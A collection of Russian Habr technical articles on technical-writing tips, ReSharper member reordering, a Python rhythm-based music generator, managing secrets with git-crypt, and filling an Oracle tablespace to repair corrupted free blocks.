> [POM](http://maven.apache.org/pom.html)-файл является XML-файлом, используемым для описания [Maven](http://maven.apache.org/index.html)-проекта и для работы с этим проектом. Можно задать, чтобы некоторый Maven-проект наследовал настройки из отдельного родительского POM-файла. Способность наследовать настройки из родительского POM-файла называется POM-наследованием. Вы используете элемент в вашем POM-файле, чтобы задать родительский POM-файл, из которого должно произойти наследование настроек.
>
>
>
> Рис. 4 ниже показывает иерархию некоторого условного проекта, являющуюся примером задания мастер-файла РОМ, из которого другие РОМ-файлы могут наследовать общие настройки.
>
>
>
> 
>
> Рис. 4. Можно назначить мастер-файл РОМ, из которого будет происходить наследование общих настроек
>
>
>
> Рис. 5 ниже показывает содержание POM.xml-фалов для Maven-проектов stooges-web, stooges-api и stooges-dal. Каждый проект сконфигурирован на использование элемента для наследования настроек из stooges-project.
>
>
>
> 
>
> Рис. 5. Использование элемента для управления Maven-проектом с целью наследования настроек из внешнего РОМ-файла
Пример выше опирается, в основном, на рисунки, чтобы обеспечить логическую иллюстрацию и показать конкретное использование рассматриваемого понятия. Подготовка интересных, привлекательных и точных иллюстраций и примеров является трудной задачей, но усилия стоят того. Создание множества иллюстраций для технического текста и примеров кода требует времени не меньше, чем написание самого текста. Соответственно я планирую моё время, чтобы выполнить работу в срок.
Итак, если требуется предельно ясно представить какое-то понятие, то необходимо включить в текст иллюстрации и примеры.
#### 7. Не опасайтесь переделок
Редко удаётся написать хороший технический текст с первой попытки. Освоение темы, организация подходов и нахождение формы ясного и точного представления идей требует много времени и усилий. Поэтому не стесняйте себя ожиданием, что всё получится прямо с первого раза. Лучше планируйте пройти, как минимум, через три версии вашего творения. Первая версия представляет собой просто некоторый набор слов в печатном виде, давая вам возможность осознать ваши намерения. Вторая версия уже придаёт вашей работе ясность и точность. Затем, когда все факты в тексте проверены, иллюстрации выверены и структура логично выстроена, можно подготовить третью версию, которая будет привлекательной и своеобразной.
Можно сказать об этой работе, перефразируя известную [цитату Томаса Эдисона](http://www.quotationspage.com/quote/24945.html): *«Написание технического текста — это на 10% литературное творчество и на 90% переработка!»*
#### Обещанный бонус
Теперь, когда вы знаете 7 правил для создания технической документации мирового класса, я хотел бы поделиться с вами изложением процесса, который я использую при подготовке технических текстов. Здесь немного, но по существу. Я называю этот процесс — "*«7 шагов создания технического документа»*. Итак:
1. Составляю структуру, как минимум, до второго уровня (если удаётся, то и до третьего);
2. Добавляю иллюстрации в структуру для каждого понятия;
3. Делаю подписи под иллюстрациями;
4. Пишу текст в соответствии со структурой, соблюдая правило двух предложений и подстраивая структуру под текст;
5. Редактирую, переделываю;
6. Отправляю результат специалисту по рассматриваемой теме на рецензирование (специалистом по рассматриваемой теме является лицо, которое в состоянии выявить неточности и неясности в описании);
7. Снова редактирую работу на основе отзыва рецензента (рецензентов).
И вот они у вас: 7 правил, 7 шагов. Кому-то надо больше? Теперь, когда вы знаете все мои приёмы, двигайтесь свободно вперёд и делайте мир более правильным, привлекательным, ясным и интересным местом для жизни. Он заслуживает таких усилий. | https://habr.com/ru/post/303760/ | null | ru | null |
# C#. Сортировка членов типа с помощью ReSharper
Существуют некоторые соглашения касаемые структуры класса, и того, в каком порядке должны располагаться его члены.
Вот, например, [правила](http://www.stylecop.com/docs/Ordering%20Rules.html) которые использует StyleCop, возможно, в вашей компании есть свои собственные.
Поддерживать структуру вручную довольно тяжело, скучно и отнимает много времени, особенно когда в классе довольно большое количество свойств, полей, методов и.т.д.
В этом посте речь пойдет о том, как с помощью ReSharper автоматизировать этот процесс.
#### Проблема
Иногда при быстром кодинге, мы забываем о сортировке членов и получается что-то вроде этого.
**Каша**
```
public class DemoClass : IEquatable
{
public string SecondProperty { get; set; }
private bool fieldBool;
public override int GetHashCode()
{
return base.GetHashCode();
}
public string SomeProperty { get; set; }
public void DoSomething()
{
}
private string fieldString;
public DemoClass(bool fieldBool, string fieldString)
{
this.fieldBool = fieldBool;
this.fieldString = fieldString;
}
public static void DoSomethingStatic()
{
}
public bool Equals(DemoClass other)
{
throw new NotImplementedException();
}
}
```
#### Сортировка по умолчанию
Но, к счастью, в ReSharper есть инструмент [Code Cleanup](http://www.jetbrains.com/resharper/features/code_formatting.html). И если запустить его со включенной опцией [Reorder Type Members](http://www.jetbrains.com/resharper/features/code_formatting.html#Reordering_Type_Members_C#_only), мы получим класс с упорядоченными членами.
**После**
```
public class DemoClass : IEquatable
{
private bool fieldBool;
private string fieldString;
public DemoClass(bool fieldBool, string fieldString)
{
this.fieldBool = fieldBool;
this.fieldString = fieldString;
}
public string SomeProperty { get; set; }
public string SecondProperty { get; set; }
public bool Equals(DemoClass other)
{
throw new NotImplementedException();
}
public override int GetHashCode()
{
return base.GetHashCode();
}
public void DoSomething()
{
}
public static void DoSomethingStatic()
{
}
}
```
#### Настраиваемые правила
Но что если сортировка по умолчанию нас не устраивает, и отличается от той, которая принята у вас в качестве стандарта?
В этом случае ReSharper позволяет переопределить правила используемые по умолчанию.
Идем в ReSharper -> Options -> Code Editing -> C# -> Type Member Layout и включаем Custom Layout.
Перед нами откроется XML который описывает порядок сортировки.
**Пример**
```
...
...
```
Элемент Patterns родительский элемент, может содержать внутри себя множество элементов Pattern, который, в свою очередь, может содержать множество элементов Entry.
Элемент Entry представляет собой запись, с которой мы будем осуществлять какие-то действия. Порядок Entry в элементе Pattern влияет на порядок элементов.
Предположим что нам нужен следующий порядок: конструкторы, методы, остальные члены.
Для этого мы можем написать такое правило:
**Пример**
```
xml version="1.0" encoding="utf-8"?
```
Каждый элемент Entry содержит вложенный элемент Match, в котором мы описываем, что ищем. Мы можем задать более подробные правила для поиска и пользоваться логическими операторами Or, And, Not и операндами:
| Операнд | Значения |
| --- | --- |
| | Атрибут Is может быть class, struct, interface, enum, delegate, type, constructor, destructor, property, indexer, method, operator, field, constant, event, member |
| | Атрибут Is может содержать регулярное выражение |
| | Атрибут CLRName может содержать регулярное выражение |
| | Атрибут Is может быть public, protected, internal, protected-internal, private |
| | |
| | |
| | |
| | |
| | |
| | |
| | Атрибут CLRName может содержать регулярное выражение |
| | |
Так же, каждый элемент Entry может содержать Sort, что влияет на сортировку найденных членов в пределах одного Entry.
Например, нам надо найти статические поля и константы и расположить их в самом начале класса. А так же отсортировать их по имени. Для этого нам надо добавить следующую запись в начало паттерна.
**Пример**
```
```
Сортировка может быть по нескольким значениям, следующий пример отсортирует все методы по уровню доступа и имени.
**Пример**
```
```
#### Группировка
Так же поддерживается группировка.
Допустим, что методы надо разделять на статичные и экземплярные, сортировать по имени и оборачивать в соответствующие регионы. Для этого нам надо создать два различных элемента Entry с дочерним элементом Group:
**Пример**
```
```
Что если, все члены интерфейсов, которые реализовал класс, необходимо отсортировать по имени интерфейса и обернуть в регион с именем этого интерфейса? Для этого мы могли бы сделать так:
**Пример**
```
```
В этом примере, переменная ${ImplementsInterface} будет равна названию интерфейса.
Также, элемент Pattern поддерживает аттрибут RemoveAllRegions, который может быть установлен в true или false (по умолчанию false). Если он установлен в true, то при группировке, будут удалены все регионы которые были до нее.
#### Вес
Что если условию (Match) соотвествуют сразу несколько типов?
Предположим мы хотим сгруппировать все приватные члены в один регион, кроме методов. Мы могли бы написать следующее правило:
**Пример**
```
```
Но, если у нас есть приватный метод, то он попадает под оба правила. Первое правило применится раньше и под второе правило попадут все методы кроме приватных. В итоге, регион который будет содержать приватные члены, будет так же содержать и приватные методы.
Каждый успешно выполненный операнд дает 1 очко веса по умолчанию и эти очки суммируются. В данном случае, в каждом из элементов по одному операнду: и соотвественно. Если мы хотим, чтобы второе правило выполнилось, мы можем использовать аттрибут Weight на операнде.
**Пример**
```
```
Таким образом, второе событие будет иметь больший вес, и все сгруппируется так, как было задумано.
#### Паттерны
В самом начале, я говорил об элементе Pattern, он так же может содержать элемент Match и этот элемент определяет где будут действовать правила которые содержит паттерн.
А теперь, представим ситуацю, когда во всех интерфейсах, нам необходима другая сортировка. В такой ситуации мы могли бы создать отдельный элемент Pattern
**Пример**
```
...
```
Все правила, которые будут описаны в приведенном паттерне, будут влиять только на интерфейсы.
#### Заключение
В этом посте я хотел показать некоторые из возможностей ReSharper, которые, может быть, сделают вашу жизнь легче.
Этот пост не претендует на исчерпывающую документацию по данному вопросу.
Источники:
* [ReSharper Web Help. Reordering Type Members](http://www.jetbrains.com/resharper/webhelp/Code_Cleanup__Usage_Scenarios__Reordering_Type_Members.html)
* [In-depth look at Customizing Type Layout with ReSharper](http://blog.jetbrains.com/dotnet/2011/01/04/in-depth-look-at-customizing-type-layout-with-resharper/) | https://habr.com/ru/post/208464/ | null | ru | null |
# Генератор музыки на базе кодогенератора
Привет, хабраюзер! В этом топике я расскажу о своей идее генерации музыкальных композиций. Создадим язык описания ритма музыки на базе python, напишем компилятор этого языка в wave файлы и получим довольно нехилую электронную композицию.
Добро пожаловать под кат.
Кому не терпится послушать музончик сейчас, то вот онлайн: [кликабельно](https://soundcloud.com/solid-coder/out) (первые пару секунд неудачны, дальше вполне нормально).
**Вместо вступления**
Прочитал я тут на хабре статьи про генерацию музыки (*google.ru > генерация музыки site:habrahabr.ru* ), понравилось. А потом наткнулся на трэшгены (генераторы мусорного кода). Все это время я слушал музыку и обратил внимание на то, что в каждой композиции есть повторяющиеся ноты.
Например:
*тынц тынц, пам пам, парам пам пам тынц тынц, пам пам, парам пам пам тынц тынц, пам пам, парам пам пам*
И возникла у меня идея, чтобы представлять все эти последовательности звуков, как циклы, в теле которых закодированы эти звуки. Это чем-то похоже на алгоритмы «школьного сжатия данных», когда перед повторяющимися данными мы пишем количество их повторений.
Итак, у нас есть задача:
1) Спроектировать язык описания ритма
2) Написать компилятор в байт-код (последовательность звуков)
3) Оцифровать и записать в wave-файл
Приступим.
**#### Язык описания ритма**
После долгих изысканий в теории компиляторов, написании лексеров и разбитии на токены мне это дело надоело. Было решено использовать, внимание, синтаксис языка Python. Да-да, именно. Данный язык поддерживает выражения вида yield statement.
Тема yield достаточно обширна и если вы не знакомы с ней и желаете ознакомиться, то я вас посылаю к статье [«Как работает yield»](https://habrahabr.ru/post/132554/).
Мы же продолжим. Итак, давайте условимся.
Для представления некоторого звукового сигнала (далее — фрейм) мы будем использовать функцию вида n(diap[0], diap[1]), где n — числовой номер этой функции. Где diap — список или кортеж начального значения и конечного диапазона генерируемых частот.
Использовать для кодирования ее вызовов будем выражение вида:
```
yield "n(diap[0], diap[1])"
```
Чтобы придать ясности вот пример из выхлопа генератора где-то в центре кода:
```
yield "19(400,800)"
for _ in range(7):
yield "0"
yield "20(400,800)"
yield "0"
yield "21(400,800)"
yield "22(400,800)"
yield "0"
```
В данном исходном тексте есть yield «0», означающий, что в данном месте будет нулевая последовательность байт, для придания пауз между фреймами (чтобы музыка не вышла сплошным звуком).
Это означает (из выдранного контекста) следующую последовательность:
`19(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 21(400,800); 22(400,800); 0`
Теперь рассмотрим **что из себя представляет** функция фрейма.
При вызове n(diap[0], diap[1]) в ассоциативный массив добавляется ключ n со случайным значением r, где diap[0] <= r <= diap[1]
Это потребуется для исполнения виртуальной машиной нашего байт кода фреймов.
**#### Компиляция в байт-код фреймов и сборка в .wav**
Итак, настало время компилировать.
Как же мы будем это делать?
Для начала нам надо пройтись по нашему сгенерированному коду и составить словарь в котором ключи — номер функции, а значение — случайная величина из диапазона. Можно это делать при парсинге кода, а можно прямо во время генерации. У меня именно второй вариант.
Наш код описания ритма ( далее КОР ) мы можем представить в виде:
```
code = """
def temp():
тут наш код
"""
```
Внимание: в коде используется три раза *двойная* кавычка "
Теперь мы храним наш код, как строку. В Python есть функция exec, которая позволяет выполнить код. Посмотрим ее применение:
```
def my_code(cd):
namespace = {}
exec(cd,namespace)
return namespace["temp"]()
```
При вызове my\_code и передав ей в качестве параметра строку с кодом, мы получим генератор списка, генерирующий последовательность байт-кода, то есть:
```
print("Compiling...")
lst = list(my_code(out.code))
print("Compiled!")
```
В lst будет список последовательных вызовов фрейм-функций нашего КОРа.
То есть, в качестве того же примера,
`19(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 20(400, 800); 0; 21(400,800); 22(400,800); 0`
Мы уже имеем ассоциативный массив ( я генерировал его при кодогенерации ), нам осталось только пройтись по lst, выдрать оттуда номера функций ( ключи для словаря ), получая их значения при помощи обращения к нашему словарю.
Тут идет этот процесс и оцифровка c записью в wave:
**Линковка в wave-файл**
```
music = wave.open('out.wav', 'w')
music.setparams((2, 1, freq, 0, 'NONE', 'not compressed'))
for i in lst:
if (i == "0"):
packed_value = wave.struct.pack('h', 0)
for _ in range(100):
music.writeframes(packed_value)
continue
key = i[0:i.find("(")]
frame = Syntax.struc.num[int(key)]
duration = 0.05
samplerate = freq # Hz
samples = duration * samplerate
frequency = frame #Hz
period = samplerate / float(frequency) # in sample points
omega = N.pi * 2 / period
xaxis = N.arange(int(period), dtype=N.float) * omega
ydata = 16384 * N.sin(xaxis)
signal = N.resize(ydata, samples) # 2-й параметр - скорость
ssignal = b''
for i in range(len(signal)):
ssignal += wave.struct.pack('h', int(signal[i])) # transform to binary
music.writeframes(signal)
music.close()
```
Весь код доступен на [гитхабе](https://github.com/solidminus/Music-Intelligence-writer) (**внимание**: в генераторе встречается говнокод, так как я раз 20 переписывал этот код и передергивал синтаксис языка, пока не пришел к идеальному консенсусу. **Рефакторинг не проводился**).
P.S. Запускать модуль Main.py, сохраняя результат генератора в out.py (из-за костылей принимает только это имя). | https://habr.com/ru/post/304496/ | null | ru | null |
# Как управлять вашими секретами с git-crypt
Большинство программных проектов используют секреты – обычно, как ключи к удаленному API или данные для доступа к внешнему ресурсу, например к базе данных. Вашему приложению необходимы эти ключи во время работы, поэтому вам нужно предоставить их при развертывании приложения или на этапе подготовки окружения.
В данной статье я покажу вам, как использовать [git-crypt](https://github.com/AGWA/git-crypt) так, чтобы вы могли безопасно хранить секреты ваших приложений в репозиториях исходного кода, даже публичных.
### Проблема с секретами приложений
Большинство проектов имеют различные ключи или данные для входа. Например, если ваше приложение располагается на [Heroku](https://www.heroku.com/), вы можете предоставить ключ API приложению Heroku, используя команды вроде этих:
```
$ heroku config:set API_KEY=my-sooper-sekrit-api-key
```
Запуская эту команду до того, как вы (снова) развернете приложение, вы передаете переменную окружения с именем `API_KEY` и значением `my-sooper-sekrit-api-key`. Однако продолжать отслеживать значения этих переменных вне Heroku (или где бы вы ни развертывали свое приложение) все еще проблематично.
Я всегда стараюсь настроить мои проекты так, чтобы я мог запустить развертку с нуля одной командой, без каких-либо дополнительных шагов. В нашем примере это означает, что мне нужно хранить значение `my-sooper-sekrit-api-key` *где-то* для того, чтобы мой развертываемый код мог использовать его (в данном случае, для запуска `heroku config:set…` командой выше).
Исходный код моего проекта всегда хранится на git и обычно располагается на github.com или bitbucket.com или на другом сервисе хостинга. Я *могу* хранить значение API\_KEY в своем репозитории исходного кода, однако есть и недостатки:
* Я не могу поделиться репозиторием, и не дать доступа к моим секретам. Это значит, что репозиторий моего приложения с секретами должен быть приватным.
* Предположительно многие участники Github/bitbucket/прочего тоже получили бы доступ к моим секретам, с чем я мог бы не согласиться (в зависимости от секрета).
* Можно легко забыть о наличии секретов в приватных репозиториях, если позже решишь сделать его публичным. Это могло бы случайно раскрыть важный секрет.
Я могу хранить секреты отдельно от исходного кода приложения, но и это имеет проблемы:
* Необходим способ доставать секреты, независимо от того, где они находятся, во время или после развертывания, и дать моему коду развертки доступ до них.
* Мои секреты могут не храниться так же надежно, как исходный код. К примеру, можно хранить секреты в файлах типа `.env` на ноутбуке, и быть уверенным, что мне не придется сверяться с git репозиторием. Однако, если я потеряю этот файл (например, если ноутбук сломается\потеряется), то секрет пропадет вместе с ним.
### git-crypt
Git-crypt позволяет решить эту проблему шифрованием ваших секретов, когда загружаете их в git репозиторий, и расшифровкой, когда необходимо их извлечь. С вашей точки зрения все происходит прозрачно. То есть секреты находятся в открытом виде как для вас, так и для вашего экземпляра развертывания, но никто кроме вас не сможет читать их, даже если исходный код располагается в публичном в репозитории GitHub.
Рассмотрим пример.
### 1. Установка git-crypt.
Инструкция для Linux, Mac, и Windows на [странице установки git-crypt](https://github.com/AGWA/git-crypt/blob/master/INSTALL.md).
Если вы, как и я, используете Mac с установленным [Homebrew](https://brew.sh/), вы можете запустить:
```
$ brew install git-crypt
```
### 2. Создайте новый git репозиторий.
```
$ mkdir myproject
$ cd myproject
$ git init
$ echo "This is some text" > file.txt
$ git add file.txt
$ git commit -m "Initial commit"
```
Теперь у нас есть репозиторий с одним текстовым файлом.
### 3. Настройка репозитория для git-crypt.
```
$ git-crypt init
```
Вы должны увидеть следующее:
```
Generating key...
```
Перед тем, как мы сделаем что-либо еще, пожалуйста, запустите следующую команду:
```
$ git-crypt export-key ../git-crypt-key
```
Эта команда создает копию симметричного ключа git-crypt, который сгенерирован для этого репозитория. Поместим его в директорию на уровень выше этого репозитория, так чтобы можно было использовать один ключ в нескольких git репозиториях.
> По стандарту, git-crypt хранит все созданные ключи в файле `.git/git-crypt/keys/default`, так что вы можете достичь тех же результатов запустив `cp .git/git-crypt/keys/default ../git-crypt-key`
Файл `git-crypt-key` очень важен. Это ключ, который открывает все зашифрованные файлы в нашем репозитории. Дальше мы рассмотрим как использовать его.
### 4. Укажите git-crypt какой файл зашифровать.
Представим, что нашему приложению нужен API ключ, и мы собираемся хранить его в файле с именем `api.key`.
**До того**, как добавим этот файл в репозиторий, мы укажем git-crypt, что хотим, чтобы каждый раз при совершении коммита, `api.key` был зашифрован.
Мы делаем это, используя файл `.gitattributes`. Его можно использовать, чтобы добавить дополнительные метаданные в git репозиторий. Это не особенность git-crypt, так что файл .gitattributes может уже существовать в вашем репозитории. В таком случае просто добавьте актуальные строки, не заменяя весь файл.
У нас же .gitattributes нет, поэтому его необходимо создать. Файл должен содержать строки вида:
```
[file pattern] attr1=value1 attr2=value2
```
Для git-crypt, шаблон должен соответствовать всем файлам, которые должны быть зашифрованы. Атрибуты всегда одинаковы: `filter` и `diff`, которые мы установили в настройках `git-crypt`.
Так, наш .gitattributes должен содержать:
```
api.key filter=git-crypt diff=git-crypt
```
Создайте такой файл, добавьте и загрузите его в свой репозиторий:
```
$ echo "api.key filter=git-crypt diff=git-crypt" > .gitattributes
$ git add .gitattributes
$ git commit -m "Tell git-crypt to encrypt api.key"
```
Я использовал конкретное имя файла `api.key` в .gitattributes, но это может быть и любой шаблон, включающий в себя файлы для шифрования, так что я мог использовать, например, `*.key`. В качестве альтернативы, просто добавьте строку для каждого файла, который хотите зашифровать.
Легко совершить ошибку при создании .gitattributes, если вы пытаетесь защитить сразу несколько файлов с единственным шаблоном. Поэтому я настоятельно рекомендую прочесть раздел [README из git-crypt](https://github.com/AGWA/git-crypt#gitattributes-file), в котором выделено несколько распространенных ошибок.
### 5. Добавим секрет.
Теперь, когда мы указали git-crypt, что хотим зашифровать `api.key`, давайте добавим этот файл в репозиторий.
> Всегда полезно проверить настройки, добавив тестовую переменную. Затем, когда подтвердится успешное шифрование, можно совершать коммит настоящего секрета.
```
$ echo "dummy value" > api.key
```
Мы еще не добавили `api.key` в git, но можем проверить, что cделает git-crypt, запустив команду:
```
$ git-crypt status
```
Вывод должен быть следующим:
```
encrypted: api.key
not encrypted: .gitattributes
not encrypted: file.txt
```
Итак, даже если api.key еще не был загружен в репозиторий, такое сообщение говорит о том, что при совершении коммита git-crypt зашифрует его.
Давайте выполним добавление и коммит файла:
```
$ git add api.key
$ git commit -m "Added the API key file"
```
### 6. Подтвердим шифрование секрета.
Мы указали git-crypt файл для шифрования, добавили `api.key` в репозиторий, однако, если мы посмотрим, то не увидим разницы:
```
$ cat api.key
dummy value
```
Причина в том, что git-crypt шифрует и дешифрует файлы прозрачно, как во время загрузки, так и во время извлечения. Поэтому `api.key` выглядит как обычный текстовый файл в открытом виде.
```
$ file api.key
api.key: ASCII text
```
Один из способов подтвердить, что ваши файлы действительно зашифрованы – загрузить их в репозиторий GitHub. Когда вы будете просматривать `api.key` через интерфейс GitHub, то увидите зашифрованный двоичный файл, а не текст.
Более простой способ посмотреть, как репозиторий будет выглядеть для кого-нибудь без ключа дешифрования, это запустить команду:
```
$ git-crypt lock
```
Теперь, если мы прочитаем `api.key`, все будет выглядеть по другому:
```
$ file api.key
api.key: data
$ cat api.key
GITCRYPTROܮ7y\R*^
```
Вы увидите отличающийся от моего мусор, но ясно, что файл зашифрован. Это то, что будет храниться на GitHub.
Чтобы вернуться к открытому виду файла `api.key`, выполните:
```
$ git-crypt unlock ../git-crypt-key
```
`../git-crypt-key` — это файл, который мы сохранили ранее с помощью `git-crypt export-key...`
### Итак, что мы узнали?
Давайте сделаем быстрый обзор того, что уже известно
* Инициализация git-crypt в git репозитории через `git-crypt init`
* Использование шаблонов в `.gitattributes`, чтобы указать git-crypt какие файлы шифровать
* `git-crypt lock` зашифрует все указанные файлы в нашем репозитории
* `git-crypt unlock [путь до файла ключа]` расшифрует зашифрованные файлы
`git-crypt-key` очень важен. Без него будет невозможно дешифровать какие бы то ни было зашифрованные файлы в вашем репозитории. Кто угодно, получив копию этого файла, получит доступ ко всем зашифрованным секретам в репозитории. Поэтому необходимо держать его в безопасности.
### Повторное использование ключа git-crypt
Мы использовали `git-crypt init` и `git-crypt export-key`, чтобы создать файл `git-crypt-key`. Но если бы нам нужно было использовать отдельные ключи для каждого репозитория, то это не очень-то и улучшило бы нашу систему управления секретами.
К счастью, можно довольно легко использовать один и тот же ключ git-crypt для нескольких git репозиториев.
Чтобы использовать уже существующий ключ, просто запустите `git-crypt unlock` вместо `git-crypt init`, когда настраиваете ваш репозиторий для git-crypt, вроде этого:
```
$ mkdir my-other-project # At the same directory level as `myproject`
$ cd my-other-project
$ git init
$ echo "Something" > file.txt
$ git add file.txt
$ git commit -m "initial commit"
$ git-crypt unlock ../git-crypt-key
```
> Если вы запустите `git-crypt unlock` не добавив ни одного файла в git репозиторий, то увидите сообщение вроде такого:
```
fatal: You are on a branch yet to be born
Error: 'git checkout' failed
git-crypt has been set up but existing encrypted files have not been decrypted
```
> Это по-прежнему неплохо работает, но слегка сбивает с толку, поэтому я убедился, что добавил и совершил коммит как минимум одного файла, до запуска `git-crypt unlock...`
Повторное использование ключа git-crypt удобно, но это значит, что если кто-либо получит ваш ключ, *все* ваши зашифрованные секреты раскроются.
Это такой же вид компромисса, как и при использовании менеджеров паролей, вроде [LastPass](https://www.lastpass.com/) или [1password](https://1password.com/). Вместо того, чтобы управлять несколькими секретами (паролями), каждый со своим риском взлома, вы храните их все в одном защищенном хранилище, и используете один мастер пароль для *разблокировки*.
### Когда НЕ стоит использовать git-crypt
Git-crypt это прекрасный способ хранить нужные вашим приложениям секреты прямо в git репозитории, рядом с исходным кодом. Однако, как и другие меры безопасности, это не **всегда** будет уместно или целесообразно.
Чтобы определить, является ли это решение подходящим для вашего проекта, стоит учесть пару вещей:
* git-crypt разработан для ситуаций, когда большинство файлов в вашем git репозитории могут оставаться в открытом виде, а зашифровать нужно лишь малую часть из них, в которых есть секреты. Если вам нужно зашифровать большую часть репозитория, возможно вам лучше подойдет другое решение.
* Нет простого способа отозвать доступ к секретам в репозитории, если вы уже дали кому-то ключ-файл, как и нет простого способа изменить (т.е. заменить) ключ-файл (и даже его изменение не особо помогает, если только не поменять все действующие секреты в репозитории).
* git-crypt шифрует только *содержимое* файлов. Таким образов, он не подходит, если так же важны *метаданные* вашего репозитория (т.е. имена файлов, дата изменения, сообщения коммита и т.д.).
* Некоторые GUI-приложения git могут работать с git-crypt ненадежно. (Хотя конкретный случай Atlassian SourceTree, указанный в README, уже [исправлен](https://jira.atlassian.com/browse/SRCTREE-2511)).
> Больше информации в этом разделе [README git-crypt](https://github.com/AGWA/git-crypt#limitations).
### Лучший способ использовать git-crypt
Вместо того, чтобы управлять ключ-файлом git-crypt вручную, можно включить в проект git-crypt вместе с gpg, и тогда вы сможете использовать приватный ключ [gpg](https://gnupg.org/) для дешифровки вашего git репозитория. Это так же позволит вам добавлять различных соавторов в репозиторий без обмена секретами между группами. Однако это требует гораздо более сложной настройки, что мы оставим для другой статьи.
---
Переводчик: [DanayDemenir](https://habr.com/ru/users/danaydemenir/)
Редактор: [DariaRogoz](https://habr.com/ru/users/dariarogoz/) | https://habr.com/ru/post/570306/ | null | ru | null |
# Раздуваем таблицы и пожираем tablespaces
~~Картинка для придания нужного настроения~~
#### Доброго времени суток!
В интернете вообще и на Хабре в частности немало публикаций о ремонте битых блоков. Например, здесь о выдергивании [неповрежденных данных](http://habrahabr.ru/post/155075/), а тут история победы над битым [LOB сегментом](http://habrahabr.ru/post/162319/).
Приводить легионы ссылок на инет с подобными статьями не буду. Но есть в большинстве этих статей общая черта. Когда данные спасены (или уничтожены, как получится), предлагается победить поврежденный free block захватом всего свободного места в tablespace. И почему то это предложение описательно.
Так добавим конкретики!
Напишем скрипт, который скушает (почти как рыбки на картинке), а потом освободит всё свободное место Oracle DB.
##### Подготовительная часть.
Посмотрели на наши битые блоки:
```
select * from v$database_block_corruption;
```
Убедились, что они есть.
Посмотрели точно ли все наши блоки «free»(вдруг еще один сломанный сегмент затерялся?):
```
SELECT e.owner, e.segment_type, e.segment_name, e.partition_name, c.file#
, greatest(e.block_id, c.block#) corr_start_block#
, least(e.block_id+e.blocks-1, c.block#+c.blocks-1) corr_end_block#
, least(e.block_id+e.blocks-1, c.block#+c.blocks-1)
- greatest(e.block_id, c.block#) + 1 blocks_corrupted
, null description
FROM dba_extents e, v$database_block_corruption c
WHERE e.file_id = c.file#
AND e.block_id <= c.block# + c.blocks - 1
AND e.block_id + e.blocks - 1 >= c.block#
UNION
SELECT s.owner, s.segment_type, s.segment_name, s.partition_name, c.file#
, header_block corr_start_block#
, header_block corr_end_block#
, 1 blocks_corrupted
, 'Segment Header' description
FROM dba_segments s, v$database_block_corruption c
WHERE s.header_file = c.file#
AND s.header_block between c.block# and c.block# + c.blocks - 1
UNION
SELECT null owner, null segment_type, null segment_name, null partition_name, c.file#
, greatest(f.block_id, c.block#) corr_start_block#
, least(f.block_id+f.blocks-1, c.block#+c.blocks-1) corr_end_block#
, least(f.block_id+f.blocks-1, c.block#+c.blocks-1)
- greatest(f.block_id, c.block#) + 1 blocks_corrupted
, 'Free Block' description
FROM dba_free_space f, v$database_block_corruption c
WHERE f.file_id = c.file#
AND f.block_id <= c.block# + c.blocks - 1
AND f.block_id + f.blocks - 1 >= c.block#
order by file#, corr_start_block#;
```
Не забудем отключить autoextend для всех файлов нашего TS с битыми free блоками. Последствия забывчивости могут оказаться не очень приятными.
Да, «сжать» файлы обратно можно успеть. Но зачем нам лишние проблемы?
```
select
'alter database datafile '||
file_name||
' '||
' autoextend off;'
from
dba_data_files where TABLESPACE_NAME='PSAPSR3';
```
Получили список команд. Запустили их. Потом таким же образом сформируем список команд, которые вернут autoextend.
Но здесь надо быть внимательным. Может датафайлы располагаются на разных дисках? И у них разные настройки расширения? Здесь стоит быть аккуратнее.
(Да, моя специальность «Специалист SAP BASIS». Этим и объясняется выбор имени для tablespace. Ведь ошибки я вынужден чинить именно там.)
И только теперь, когда подготовительные шаги завершены.
##### Основная часть
Для работы с Oracle sql я использую [SQL Developer](http://www.oracle.com/technetwork/developer-tools/sql-developer/downloads/index.html). В нем есть все что нужно, и не наблюдается того, что не нужно.
Чего мы хотим?
Переформатировать все свободные блоки tablespace. Для этого будем создавать таблицы, и добавлять им экстенты пока место не закончится.
Вот такой скриптик PL\SQL нормально делает то, что нам нужно.
```
SET SERVEROUTPUT ON
DECLARE
type ARR_TABLE is table of varchar2(13);
TBLS ARR_TABLE:=ARR_TABLE();
I number;
SPACE_AVAILABLE float;
--Константа с целевым tablespace
TABLESPACE_FOR_FULL CONSTANT varchar2(20) := 'PSAPSR3';
--Константа со схемой. Почему бы нет?
USER_SCHEMA CONSTANT varchar2(20) := 'SAPSR3';
--Вычисляем свободное место в TS
function TABLESPACE_FREESIZE(TN varchar2) return number
as si number;
begin
SELECT round(sum(bytes)/1048576,2) into si from DBA_FREE_SPACE where TABLESPACE_NAME = TN;
return SI;
end TABLESPACE_FREESIZE;
--Создание и раздувание очередной таблицы пока не выскочит ora-1653
procedure create_new_tables as
N number;
I number;
UNABLE_TO_EXTEND EXCEPTION;
PRAGMA EXCEPTION_INIT(UNABLE_TO_EXTEND,-1653);
BEGIN
N:=TBLS.COUNT;
N:=N+1;
TBLS.extend;
TBLS(N):='TESTTABLE'||N;
execute immediate 'create table '||USER_SCHEMA||'.'||TBLS(n)||\' (id number(10), USER_NAME varchar2(10), CREATE_DATE date) tablespace '||TABLESPACE_FOR_FULL;
WHILE true LOOP
begin
execute immediate 'alter table '||USER_SCHEMA||'.'||TBLS(n)||' allocate extent';
EXCEPTION
when UNABLE_TO_EXTEND then
EXIT;
end;
END LOOP;
end create_new_tables;
BEGIN
--Подготовка
DBMS_OUTPUT.PUT_LINE( 'Time start: '||TO_CHAR(sysdate, 'DD-MM-YYYY HH24:MI:SS'));
SPACE_AVAILABLE:=TABLESPACE_FREESIZE(TABLESPACE_FOR_FULL);
DBMS_OUTPUT.PUT_LINE('Space available='||SPACE_AVAILABLE);
--Запуск
WHILE SPACE_AVAILABLE>0.001 LOOP
CREATE_NEW_TABLES();
SPACE_AVAILABLE:=TABLESPACE_FREESIZE(TABLESPACE_FOR_FULL);
--Когда функция TABLESPACE_FREESIZE начнет выдавать NULL вместо числа - цикл остановится.
end LOOP;
--Очистка созданных таблиц
for I in 1..TBLS.COUNT LOOP
execute immediate 'drop table '||USER_SCHEMA||\'.'||TBLS(I);
end LOOP;
